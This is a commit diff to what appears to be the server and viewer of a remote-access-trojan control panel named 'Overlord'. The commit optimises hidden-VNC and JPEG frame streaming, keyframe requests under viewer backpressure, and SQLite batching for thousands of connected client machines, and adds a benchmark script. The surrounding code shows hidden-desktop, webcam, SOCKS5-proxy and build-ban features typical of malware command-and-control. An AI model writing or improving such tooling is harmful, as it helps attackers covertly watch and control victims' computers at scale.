improve jpeg streaming + optimize the shit out of db read writes for large incoming clients and connected clients.

2026-06-23 23:04:01 -05:00
parent 4fcc01a796
commit 94ef889d27
11 changed files with 569 additions and 150 deletions
@@ -15,6 +15,7 @@
    "build:css": "tailwindcss -i ./src/styles.css -o ./public/assets/tailwind.css --minify",
    "watch:css": "tailwindcss -i ./src/styles.css -o ./public/assets/tailwind.css --watch",
    "minify": "bun run scripts/minify-public.ts",
+    "bench:client-db": "bun run scripts/client-db-stress.ts",
    "typecheck": "tsc --noEmit"
  },
  "dependencies": {
@@ -104,6 +104,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
  let streamState = "connecting";
  let frameWatchTimer = null;
  let offlineTimer = null;
+  let frameDecodeBusy = false;
+  let pendingFrame = null;
+  let hasCanvasBase = false;
  let pendingMove = null;
  let moveTimer = null;
  let videoDecoder = null;
@@ -1116,126 +1119,166 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
    });
  }

-  async function onWsMessage(ev) {
+  function isFramePacket(buf) {
+    return buf.length >= 8 && buf[0] === 0x46 && buf[1] === 0x52 && buf[2] === 0x4d;
+  }
+
+  function markFrameReceived() {
+    lastFrameAt = performance.now();
+    clearOfflineTimer();
+    if (streamState !== "streaming") {
+      desiredStreaming = true;
+      setStreamState("streaming", "Streaming");
+    }
+  }
+
+  function drawJpegFallback(blob, target) {
+    return new Promise((resolve) => {
+      const img = new Image();
+      const url = URL.createObjectURL(blob);
+      img.onload = function () {
+        if (target) {
+          ctx.drawImage(img, target.x, target.y, target.w, target.h);
+        } else {
+          canvas.width = img.width;
+          canvas.height = img.height;
+          ctx.drawImage(img, 0, 0);
+        }
+        URL.revokeObjectURL(url);
+        resolve(true);
+      };
+      img.onerror = function () {
+        URL.revokeObjectURL(url);
+        resolve(false);
+      };
+      img.src = url;
+    });
+  }
+
+  async function drawJpegSlice(slice, target) {
+    const blob = new Blob([slice], { type: "image/jpeg" });
+    try {
+      const bitmap = await createImageBitmap(blob);
+      if (target) {
+        ctx.drawImage(bitmap, target.x, target.y, target.w, target.h);
+      } else {
+        canvas.width = bitmap.width;
+        canvas.height = bitmap.height;
+        ctx.drawImage(bitmap, 0, 0);
+      }
+      bitmap.close();
+      return true;
+    } catch {
+      return drawJpegFallback(blob, target);
+    }
+  }
+
+  async function processFrameBuffer(buf) {
+    const fps = buf[5];
+    const format = buf[6];
+
+    if (format === 1) {
+      setCodecModeLabel("jpeg", "active");
+      await drawJpegSlice(buf.slice(8), null);
+      hasCanvasBase = true;
+      updateFpsDisplay(fps);
+      return;
+    }
+
+    if (format === 2 || format === 3) {
+      setCodecModeLabel(format === 3 ? "raw" : "jpeg", "blocks");
+      if (buf.length < 16) return;
+      const dv = new DataView(buf.buffer, 8);
+      let pos = 0;
+      const width = dv.getUint16(pos, true);
+      pos += 2;
+      const height = dv.getUint16(pos, true);
+      pos += 2;
+      const blockCount = dv.getUint16(pos, true);
+      pos += 4;
+
+      if (width > 0 && height > 0 && (canvas.width !== width || canvas.height !== height)) {
+        canvas.width = width;
+        canvas.height = height;
+        hasCanvasBase = false;
+      }
+      if (blockCount > 0 && !hasCanvasBase) {
+        sendCmd("hvnc_request_keyframe", { reason: "viewer_missing_base" });
+        return;
+      }
+
+      for (let i = 0; i < blockCount; i++) {
+        if (pos + 12 > dv.byteLength) break;
+        const x = dv.getUint16(pos, true);
+        pos += 2;
+        const y = dv.getUint16(pos, true);
+        pos += 2;
+        const w = dv.getUint16(pos, true);
+        pos += 2;
+        const h = dv.getUint16(pos, true);
+        pos += 2;
+        const len = dv.getUint32(pos, true);
+        pos += 4;
+        const start = 8 + pos;
+        const end = start + len;
+        if (end > buf.length) break;
+        const slice = buf.subarray(start, end);
+        pos += len;
+        if (format === 2) {
+          await drawJpegSlice(slice, { x, y, w, h });
+        } else if (slice.length === w * h * 4) {
+          const imgData = new ImageData(new Uint8ClampedArray(slice), w, h);
+          ctx.putImageData(imgData, x, y);
+        }
+      }
+      updateFpsDisplay(fps);
+      return;
+    }
+
+    if (format === 4) {
+      setCodecModeLabel("h264", "active");
+      const h264Bytes = buf.slice(8);
+      if (!h264Bytes.length) return;
+      if (!ensureVideoDecoder()) {
+        fallbackToJpegCodec("WebCodecs decoder unavailable");
+        return;
+      }
+      const frameIntervalUs = Math.floor(1_000_000 / Math.max(1, fps || 25));
+      const chunk = new EncodedVideoChunk({
+        type: isH264KeyFrame(h264Bytes) ? "key" : "delta",
+        timestamp: h264TimestampUs,
+        data: h264Bytes,
+      });
+      h264TimestampUs += frameIntervalUs;
+      try {
+        videoDecoder.decode(chunk);
+        updateFpsDisplay(fps);
+      } catch (err) {
+        console.warn("hvnc: h264 decode failed", err);
+        fallbackToJpegCodec(err);
+      }
+    }
+  }
+
+  function flushPendingFrame() {
+    if (frameDecodeBusy || !pendingFrame) return;
+    const next = pendingFrame;
+    pendingFrame = null;
+    frameDecodeBusy = true;
+    processFrameBuffer(next).finally(() => {
+      frameDecodeBusy = false;
+      if (pendingFrame) flushPendingFrame();
+    });
+  }
+
+  function onWsMessage(ev) {
    if (ev.data instanceof ArrayBuffer) {
      const buf = new Uint8Array(ev.data);
-      if (buf.length >= 8 && buf[0] === 0x46 && buf[1] === 0x52 && buf[2] === 0x4d) {
-        const fps = buf[5];
-        const format = buf[6];
-        lastFrameAt = performance.now();
-        clearOfflineTimer();
-        if (streamState !== "streaming") {
-          desiredStreaming = true;
-          setStreamState("streaming", "Streaming");
-        }
-
-        if (format === 1) {
-          const jpegBytes = buf.slice(8);
-          setCodecModeLabel("jpeg", "active");
-          const blob = new Blob([jpegBytes], { type: "image/jpeg" });
-          try {
-            const bitmap = await createImageBitmap(blob);
-            canvas.width = bitmap.width;
-            canvas.height = bitmap.height;
-            ctx.drawImage(bitmap, 0, 0);
-            bitmap.close();
-            updateFpsDisplay(fps);
-          } catch {
-            const img = new Image();
-            const url = URL.createObjectURL(blob);
-            img.onload = function () {
-              canvas.width = img.width;
-              canvas.height = img.height;
-              ctx.drawImage(img, 0, 0);
-              URL.revokeObjectURL(url);
-              updateFpsDisplay(fps);
-            };
-            img.src = url;
-          }
-          return;
-        }
-
-        if (format === 2 || format === 3) {
-          setCodecModeLabel(format === 3 ? "raw" : "jpeg", "blocks");
-          if (buf.length < 8 + 8) return;
-          const dv = new DataView(buf.buffer, 8);
-          let pos = 0;
-          const width = dv.getUint16(pos, true);
-          pos += 2;
-          const height = dv.getUint16(pos, true);
-          pos += 2;
-          const blockCount = dv.getUint16(pos, true);
-          pos += 2;
-          pos += 2;
-
-          if (
-            width > 0 &&
-            height > 0 &&
-            (canvas.width !== width || canvas.height !== height)
-          ) {
-            canvas.width = width;
-            canvas.height = height;
-          }
-          for (let i = 0; i < blockCount; i++) {
-            if (pos + 12 > dv.byteLength) break;
-            const x = dv.getUint16(pos, true);
-            pos += 2;
-            const y = dv.getUint16(pos, true);
-            pos += 2;
-            const w = dv.getUint16(pos, true);
-            pos += 2;
-            const h = dv.getUint16(pos, true);
-            pos += 2;
-            const len = dv.getUint32(pos, true);
-            pos += 4;
-            const start = 8 + pos;
-            const end = start + len;
-            if (end > buf.length) break;
-            const slice = buf.subarray(start, end);
-            pos += len;
-            if (format === 2) {
-              try {
-                const bitmap = await createImageBitmap(
-                  new Blob([slice], { type: "image/jpeg" }),
-                );
-                ctx.drawImage(bitmap, x, y, w, h);
-                bitmap.close();
-              } catch {}
-            } else {
-              if (slice.length === w * h * 4) {
-                const imgData = new ImageData(new Uint8ClampedArray(slice), w, h);
-                ctx.putImageData(imgData, x, y);
-              }
-            }
-          }
-          updateFpsDisplay(fps);
-          return;
-        }
-
-        if (format === 4) {
-          setCodecModeLabel("h264", "active");
-          const h264Bytes = buf.slice(8);
-          if (!h264Bytes.length) return;
-          if (!ensureVideoDecoder()) {
-            fallbackToJpegCodec("WebCodecs decoder unavailable");
-            return;
-          }
-          const frameIntervalUs = Math.floor(1_000_000 / Math.max(1, fps || 25));
-          const chunk = new EncodedVideoChunk({
-            type: isH264KeyFrame(h264Bytes) ? "key" : "delta",
-            timestamp: h264TimestampUs,
-            data: h264Bytes,
-          });
-          h264TimestampUs += frameIntervalUs;
-          try {
-            videoDecoder.decode(chunk);
-            updateFpsDisplay(fps);
-          } catch (err) {
-            console.warn("hvnc: h264 decode failed", err);
-            fallbackToJpegCodec(err);
-          }
-          return;
-        }
+      if (isFramePacket(buf)) {
+        markFrameReceived();
+        pendingFrame = buf;
+        flushPendingFrame();
+        return;
      }

      const msg = decodeMsgpack(buf);
@@ -0,0 +1,279 @@
+import { existsSync, mkdirSync, rmSync, statSync } from "fs";
+import path from "path";
+
+type Scenario = "legacy-immediate" | "batched";
+
+type Options = {
+  clients: number;
+  batchSizes: number[];
+  reads: boolean;
+  keep: boolean;
+  worker: boolean;
+  mode: Scenario;
+  batchSize: number;
+  dataDir?: string;
+};
+
+type Result = {
+  mode: Scenario;
+  clients: number;
+  batchSize: number;
+  reads: boolean;
+  durationMs: number;
+  clientsPerSecond: number;
+  writeTransactions: number;
+  rowCount: number;
+  dbBytes: number;
+  walBytes: number;
+  shmBytes: number;
+  dataDir: string;
+};
+
+function argValue(name: string): string | undefined {
+  const prefix = `--${name}=`;
+  const direct = process.argv.find((arg) => arg.startsWith(prefix));
+  if (direct) return direct.slice(prefix.length);
+  const index = process.argv.indexOf(`--${name}`);
+  if (index >= 0) return process.argv[index + 1];
+  return undefined;
+}
+
+function hasArg(name: string): boolean {
+  return process.argv.includes(`--${name}`);
+}
+
+function parsePositiveInt(raw: string | undefined, fallback: number): number {
+  if (!raw) return fallback;
+  const value = Number(raw);
+  if (!Number.isFinite(value) || value < 1) return fallback;
+  return Math.floor(value);
+}
+
+function parseOptions(): Options {
+  const batchRaw = argValue("batch-sizes") || argValue("batch-size") || "500,1000";
+  const batchSizes = batchRaw
+    .split(",")
+    .map((part) => parsePositiveInt(part.trim(), 0))
+    .filter((value) => value > 0);
+  const mode = (argValue("mode") || "batched") as Scenario;
+
+  return {
+    clients: parsePositiveInt(argValue("clients"), 10_000),
+    batchSizes: batchSizes.length > 0 ? batchSizes : [500],
+    reads: argValue("reads") !== "false",
+    keep: hasArg("keep"),
+    worker: hasArg("worker"),
+    mode: mode === "legacy-immediate" ? "legacy-immediate" : "batched",
+    batchSize: parsePositiveInt(argValue("batch-size"), 500),
+    dataDir: argValue("data-dir"),
+  };
+}
+
+function makeClientRow(index: number, now: number) {
+  const id = `bench-client-${String(index).padStart(7, "0")}`;
+  return {
+    id,
+    hwid: `bench-hwid-${String(index).padStart(7, "0")}`,
+    role: "client",
+    ip: `10.${(index >> 16) & 255}.${(index >> 8) & 255}.${index & 255}`,
+    host: `bench-host-${index}`,
+    os: index % 3 === 0 ? "Windows 11" : index % 3 === 1 ? "Windows 10" : "Linux",
+    arch: "amd64",
+    version: "bench",
+    user: `bench-user-${index % 1000}`,
+    monitors: 1 + (index % 4),
+    country: "US",
+    cpu: "bench-cpu",
+    gpu: "bench-gpu",
+    ram: "16 GB",
+    publicKey: `bench-public-key-${String(index).padStart(7, "0")}`,
+    keyFingerprint: `bench-fingerprint-${String(index).padStart(7, "0")}`,
+    enrollmentStatus: "approved",
+    online: 1,
+    lastSeen: now + index,
+    pingMs: index % 250,
+    isAdmin: false,
+  };
+}
+
+function fileSize(filePath: string): number {
+  try {
+    return statSync(filePath).size;
+  } catch {
+    return 0;
+  }
+}
+
+function printTable(results: Result[]): void {
+  const rows = results.map((result) => ({
+    mode: result.mode,
+    clients: String(result.clients),
+    batch: String(result.batchSize),
+    reads: result.reads ? "yes" : "no",
+    ms: result.durationMs.toFixed(1),
+    perSec: result.clientsPerSecond.toFixed(0),
+    tx: String(result.writeTransactions),
+    dbMB: (result.dbBytes / 1024 / 1024).toFixed(1),
+    walMB: (result.walBytes / 1024 / 1024).toFixed(1),
+  }));
+
+  const headers = ["mode", "clients", "batch", "reads", "ms", "perSec", "tx", "dbMB", "walMB"];
+  const widths = headers.map((header) =>
+    Math.max(header.length, ...rows.map((row) => row[header as keyof typeof row].length)),
+  );
+  const line = headers.map((header, i) => header.padEnd(widths[i])).join("  ");
+  console.log(line);
+  console.log(widths.map((width) => "-".repeat(width)).join("  "));
+  for (const row of rows) {
+    console.log(headers.map((header, i) => row[header as keyof typeof row].padEnd(widths[i])).join("  "));
+  }
+}
+
+async function runWorker(options: Options): Promise<void> {
+  if (!options.dataDir) {
+    throw new Error("--data-dir is required in worker mode");
+  }
+  process.env.DATA_DIR = options.dataDir;
+  process.env.NODE_ENV = "test";
+  process.env.OVERLORD_CLIENT_DB_SYNC_BATCH_SIZE = String(options.batchSize);
+
+  const repo = await import("../src/db/repositories");
+  const { db, dbPath } = await import("../src/db/connection");
+  const startedAt = performance.now();
+  const now = Date.now();
+  let writeTransactions = 0;
+
+  if (options.mode === "legacy-immediate") {
+    for (let index = 0; index < options.clients; index += 1) {
+      const row = makeClientRow(index, now);
+      if (options.reads) {
+        repo.lookupClientByPublicKey(row.publicKey);
+        repo.getClientPublicKeyById(row.id);
+        repo.clientExists(row.id);
+      }
+      repo.upsertClientRows([row]);
+      writeTransactions += 1;
+    }
+  } else {
+    let batch: ReturnType<typeof makeClientRow>[] = [];
+    for (let index = 0; index < options.clients; index += 1) {
+      const row = makeClientRow(index, now);
+      if (options.reads) {
+        repo.lookupClientByPublicKey(row.publicKey);
+        repo.getClientPublicKeyById(row.id);
+        repo.clientExists(row.id);
+      }
+      batch.push(row);
+      if (batch.length >= options.batchSize) {
+        repo.upsertClientRows(batch);
+        writeTransactions += 1;
+        batch = [];
+      }
+    }
+    if (batch.length > 0) {
+      repo.upsertClientRows(batch);
+      writeTransactions += 1;
+    }
+  }
+
+  const durationMs = performance.now() - startedAt;
+  const row = db.query<{ count: number }>("SELECT COUNT(*) as count FROM clients").get();
+  const result: Result = {
+    mode: options.mode,
+    clients: options.clients,
+    batchSize: options.mode === "legacy-immediate" ? 1 : options.batchSize,
+    reads: options.reads,
+    durationMs,
+    clientsPerSecond: options.clients / (durationMs / 1000),
+    writeTransactions,
+    rowCount: Number(row?.count || 0),
+    dbBytes: fileSize(dbPath),
+    walBytes: fileSize(`${dbPath}-wal`),
+    shmBytes: fileSize(`${dbPath}-shm`),
+    dataDir: options.dataDir,
+  };
+
+  console.log(JSON.stringify(result));
+}
+
+function runScenario(mode: Scenario, batchSize: number, options: Options, rootDir: string): Result {
+  const dataDir = path.join(rootDir, `${mode}-${batchSize}`);
+  if (existsSync(dataDir)) {
+    rmSync(dataDir, { recursive: true, force: true });
+  }
+  mkdirSync(dataDir, { recursive: true });
+
+  const args = [
+    "run",
+    import.meta.path,
+    "--worker",
+    `--mode=${mode}`,
+    `--clients=${options.clients}`,
+    `--batch-size=${batchSize}`,
+    `--data-dir=${dataDir}`,
+    `--reads=${options.reads ? "true" : "false"}`,
+  ];
+  const child = Bun.spawnSync({
+    cmd: [process.execPath, ...args],
+    cwd: process.cwd(),
+    env: { ...process.env, DATA_DIR: dataDir, NODE_ENV: "test" },
+    stdout: "pipe",
+    stderr: "pipe",
+  });
+
+  const stdout = child.stdout.toString().trim();
+  const stderr = child.stderr.toString().trim();
+  if (child.exitCode !== 0) {
+    if (stdout) console.log(stdout);
+    if (stderr) console.error(stderr);
+    throw new Error(`${mode} failed with exit code ${child.exitCode}`);
+  }
+  if (stderr) {
+    const interesting = stderr
+      .split(/\r?\n/)
+      .filter((line) => line.trim() && !line.includes("Cannot read file \"C:\\\""));
+    if (interesting.length > 0) console.error(interesting.join("\n"));
+  }
+
+  const jsonLine = stdout
+    .split(/\r?\n/)
+    .reverse()
+    .find((line) => line.trim().startsWith("{"));
+  if (!jsonLine) {
+    throw new Error(`No result JSON found for ${mode}. Output:\n${stdout}`);
+  }
+  return JSON.parse(jsonLine) as Result;
+}
+
+async function main(): Promise<void> {
+  const options = parseOptions();
+  if (options.worker) {
+    await runWorker(options);
+    return;
+  }
+
+  const rootDir = path.resolve(options.dataDir || path.join(process.cwd(), ".bench-data", `client-db-${Date.now()}`));
+  mkdirSync(rootDir, { recursive: true });
+
+  const results: Result[] = [];
+  try {
+    results.push(runScenario("legacy-immediate", 1, options, rootDir));
+    for (const batchSize of options.batchSizes) {
+      results.push(runScenario("batched", batchSize, options, rootDir));
+    }
+    printTable(results);
+    console.log("");
+    console.log(JSON.stringify(results, null, 2));
+  } finally {
+    if (!options.keep && existsSync(rootDir)) {
+      rmSync(rootDir, { recursive: true, force: true });
+    } else {
+      console.log(`Kept benchmark data at ${rootDir}`);
+    }
+  }
+}
+
+main().catch((err) => {
+  console.error(err);
+  process.exit(1);
+});
@@ -4,7 +4,11 @@ import { metrics } from "./metrics";
 export const CLIENT_DB_SYNC_INTERVAL_MS = Number(process.env.OVERLORD_CLIENT_DB_SYNC_MS || 5000);
 export const CLIENT_DB_SYNC_BATCH_SIZE = Math.max(
  1,
-  Number(process.env.OVERLORD_CLIENT_DB_SYNC_BATCH_SIZE || 100),
+  Number(process.env.OVERLORD_CLIENT_DB_SYNC_BATCH_SIZE || 500),
+);
+export const CLIENT_DB_SYNC_FLUSH_DELAY_MS = Math.max(
+  1,
+  Number(process.env.OVERLORD_CLIENT_DB_SYNC_FLUSH_DELAY_MS || 100),
 );

 const lastClientDbSync = new Map<string, number>();
@@ -27,6 +31,14 @@ export function queueClientDbUpdate(partial: ClientDbRow): void {
  });
 }

+export function scheduleQueuedClientDbFlush(delayMs = CLIENT_DB_SYNC_FLUSH_DELAY_MS): void {
+  if (pendingClientDbUpdates.size === 0 || flushSoonTimer) return;
+  flushSoonTimer = setTimeout(() => {
+    flushSoonTimer = null;
+    flushQueuedClientDbUpdates();
+  }, Math.max(1, Math.floor(delayMs)));
+}
+
 export function flushQueuedClientDbUpdates(): void {
  if (pendingClientDbUpdates.size === 0) return;

@@ -43,11 +55,8 @@ export function flushQueuedClientDbUpdates(): void {
  }
  upsertClientRows(updates);

-  if (pendingClientDbUpdates.size > 0 && !flushSoonTimer) {
-    flushSoonTimer = setTimeout(() => {
-      flushSoonTimer = null;
-      flushQueuedClientDbUpdates();
-    }, 25);
+  if (pendingClientDbUpdates.size > 0) {
+    scheduleQueuedClientDbFlush(25);
  }
  metrics.recordInternalTask("client-db-flush", Date.now() - startedAt);
 }
@@ -13,4 +13,37 @@ const dataDir = ensureDataDir();
 export const dbPath = resolve(dataDir, "overlord.db");
 export const db: TypedDatabase = new Database(dbPath) as any;

+function numberPragmaEnv(name: string, fallback: number, min: number): number {
+  const raw = process.env[name];
+  if (raw === undefined || raw === "") return fallback;
+  const value = Number(raw);
+  if (!Number.isFinite(value) || value < min) return fallback;
+  return Math.floor(value);
+}
+
+function synchronousPragmaEnv(): string {
+  const raw = String(process.env.OVERLORD_SQLITE_SYNCHRONOUS || "NORMAL").toUpperCase();
+  if (raw === "OFF" || raw === "NORMAL" || raw === "FULL" || raw === "EXTRA") {
+    return raw;
+  }
+  return "NORMAL";
+}
+
+function applyPragma(sql: string): void {
+  try {
+    db.exec(sql);
+  } catch (err) {
+    console.warn(`[db] Failed to apply ${sql}:`, err);
+  }
+}
+
+applyPragma("PRAGMA journal_mode = WAL");
+applyPragma(`PRAGMA synchronous = ${synchronousPragmaEnv()}`);
+applyPragma(`PRAGMA busy_timeout = ${numberPragmaEnv("OVERLORD_SQLITE_BUSY_TIMEOUT_MS", 5000, 0)}`);
+applyPragma("PRAGMA temp_store = MEMORY");
+applyPragma(`PRAGMA cache_size = ${numberPragmaEnv("OVERLORD_SQLITE_CACHE_SIZE_KB", 32768, 1024) * -1}`);
+applyPragma(`PRAGMA mmap_size = ${numberPragmaEnv("OVERLORD_SQLITE_MMAP_SIZE_BYTES", 268435456, 0)}`);
+applyPragma(`PRAGMA wal_autocheckpoint = ${numberPragmaEnv("OVERLORD_SQLITE_WAL_AUTOCHECKPOINT", 4000, 1)}`);
+applyPragma(`PRAGMA journal_size_limit = ${numberPragmaEnv("OVERLORD_SQLITE_JOURNAL_SIZE_LIMIT_BYTES", 67108864, 0)}`);
+
 console.log(`[db] Using database at: ${dbPath}`);
@@ -100,6 +100,9 @@ db.run(
 db.run(
  `CREATE INDEX IF NOT EXISTS idx_clients_public_key ON clients(public_key);`,
 );
+db.run(
+  `CREATE INDEX IF NOT EXISTS idx_clients_hwid ON clients(hwid);`,
+);
 db.run(
  `CREATE INDEX IF NOT EXISTS idx_clients_key_fingerprint ON clients(key_fingerprint);`,
 );
@@ -18,7 +18,7 @@ import * as sessionManager from "../../sessions/sessionManager";
 import type { SocketData } from "../../sessions/types";
 import type { ClientInfo } from "../../types";
 import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
-import { flushQueuedClientDbUpdates, queueClientDbUpdate } from "../../client-db-sync";
+import { queueClientDbUpdate, scheduleQueuedClientDbFlush } from "../../client-db-sync";
 import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
 import { stopAllProxiesForClient } from "../socks5-proxy-manager";
 import { verifyBuildToken, isBuildBanned } from "../build-signing";
@@ -668,7 +668,7 @@ export async function handleWebSocketMessage(
        }

        await handleHello(infoObj, payload as Hello, ws, ip);
-        flushQueuedClientDbUpdates();
+        scheduleQueuedClientDbFlush();
        clientManager.addClient(infoObj.id, infoObj);

        clearThumbnail(resolvedId);
@@ -748,8 +748,9 @@ export async function handleWebSocketMessage(
            }
          }
        }
-        handleFrame(client, payload);
-        try { ws.send(encodeMessage({ type: "frame_ack" })); } catch {}
+        if (handleFrame(client, payload)) {
+          try { ws.send(encodeMessage({ type: "frame_ack" })); } catch {}
+        }
        break;
      case "screenshot_result":
        deps.handleNotificationScreenshotResult(client.id, payload);
@@ -129,18 +129,28 @@ function getCaptureDllBytes(): Uint8Array | null {

 const VIEWER_BACKPRESSURE_BYTES = 2 * 1024 * 1024; // 2 MB

+type FrameBroadcastResult = {
+  sent: boolean;
+  dropped: boolean;
+  viewers: number;
+};
+
 function broadcastFrameToViewers(
  sessions: Iterable<{ viewer: ServerWebSocket<SocketData> }>,
  buf: Uint8Array,
  header?: any,
-): boolean {
+): FrameBroadcastResult {
  let sent = false;
+  let dropped = false;
+  let viewers = 0;
  const t0 = performance.now();
  const byteLen = buf.length;
  for (const session of sessions) {
+    viewers += 1;
    try {
      const buffered = session.viewer.getBufferedAmount?.() ?? 0;
      if (buffered > VIEWER_BACKPRESSURE_BYTES) {
+        dropped = true;
        continue;
      }
      session.viewer.send(buf);
@@ -157,7 +167,7 @@ function broadcastFrameToViewers(
    rdSendStats.sendMs += elapsed;
  }
  logRdSend(header);
-  return sent;
+  return { sent, dropped, viewers };
 }

 const rdSendStats = { lastLog: 0, frames: 0, sendMs: 0, bytes: 0 };
@@ -734,8 +744,17 @@ function broadcastRemoteDesktopFrame(clientId: string, bytes: Uint8Array, header
  recordRemoteDesktopFrame(clientId, header, bytes);
  const buf = buildViewerFrameBuffer(bytes, header);
  const sessions = sessionManager.getRdSessionsForClient(clientId);
-  const sent = broadcastFrameToViewers(sessions, buf, header);
-  return sent;
+  const result = broadcastFrameToViewers(sessions, buf, header);
+  if (result.dropped) {
+    const target = clientManager.getClient(clientId);
+    if (target) {
+      sendDesktopCommand(target, "desktop_request_keyframe", {
+        reason: "viewer_backpressure",
+        format: String(header?.format || ""),
+      });
+    }
+  }
+  return result.sent || result.viewers === 0;
 }

 (globalThis as any).__rdBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
@@ -1174,6 +1193,13 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
      }
      break;
    }
+    case "hvnc_request_keyframe":
+      if (state.isStreaming) {
+        sendHVNCCommand(target, "hvnc_request_keyframe", {
+          reason: String((payload as any).reason || "viewer_request"),
+        });
+      }
+      break;
    case "hvnc_set_fps": {
      const newMaxFps = clampDesktopFps((payload as any).fps);
      if (state.maxFps !== newMaxFps) {
@@ -1375,12 +1401,23 @@ export function sendHVNCCommand(target: ClientInfo, commandType: string, payload
  }
  hvncStreamingState.set(clientId, state);
  const buf = buildViewerFrameBuffer(bytes, header);
-  return broadcastFrameToViewers(sessionManager.getHvncSessionsForClient(clientId), buf, header);
+  const result = broadcastFrameToViewers(sessionManager.getHvncSessionsForClient(clientId), buf, header);
+  if (result.dropped) {
+    const target = clientManager.getClient(clientId);
+    if (target) {
+      sendHVNCCommand(target, "hvnc_request_keyframe", {
+        reason: "viewer_backpressure",
+        format: String(header?.format || ""),
+      });
+    }
+  }
+  return result.sent || result.viewers === 0;
 };

 (globalThis as any).__webcamBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
  const buf = buildViewerFrameBuffer(bytes, header);
-  return broadcastFrameToViewers(sessionManager.getWebcamSessionsForClient(clientId), buf, header);
+  const result = broadcastFrameToViewers(sessionManager.getWebcamSessionsForClient(clientId), buf, header);
+  return result.sent || result.viewers === 0;
 };

 export function handleConsoleViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
@@ -231,7 +231,7 @@ export function handlePong(info: ClientInfo, payload: WireMessage) {
  }
 }

-export function handleFrame(info: ClientInfo, payload: any) {
+export function handleFrame(info: ClientInfo, payload: any): boolean {
  const bytes = payload.data as unknown as Uint8Array;
  const header = (payload as any).header;
  const allowedFormats = ["jpeg", "jpg", "webp"];
@@ -240,28 +240,19 @@ export function handleFrame(info: ClientInfo, payload: any) {

  metrics.recordBytesReceived(bytes.length);

-  let sentToViewers = false;
+  let handledByViewerRelay = false;
  try {
    const globalAny: any = globalThis as any;
    if (header?.webcam) {
      if (globalAny.__webcamBroadcast) {
-        sentToViewers = globalAny.__webcamBroadcast(info.id, bytes, header);
-      }
-      if (sentToViewers) {
-        return;
+        handledByViewerRelay = globalAny.__webcamBroadcast(info.id, bytes, header);
      }
    } else if (header?.hvnc) {
      if (globalAny.__hvncBroadcast) {
-        sentToViewers = globalAny.__hvncBroadcast(info.id, bytes, header);
-      }
-      if (sentToViewers) {
-        return;
+        handledByViewerRelay = globalAny.__hvncBroadcast(info.id, bytes, header);
      }
    } else if (globalAny.__rdBroadcast) {
-      sentToViewers = globalAny.__rdBroadcast(info.id, bytes, header);
-      if (sentToViewers) {
-        return;
-      }
+      handledByViewerRelay = globalAny.__rdBroadcast(info.id, bytes, header);
    }
  } catch {}

@@ -280,4 +271,5 @@ export function handleFrame(info: ClientInfo, payload: any) {
      queueClientDbUpdate({ id: info.id, lastSeen: now, online: 1, isAdmin: info.isAdmin });
    }
  }
+  return handledByViewerRelay || safeFormat !== "";
 }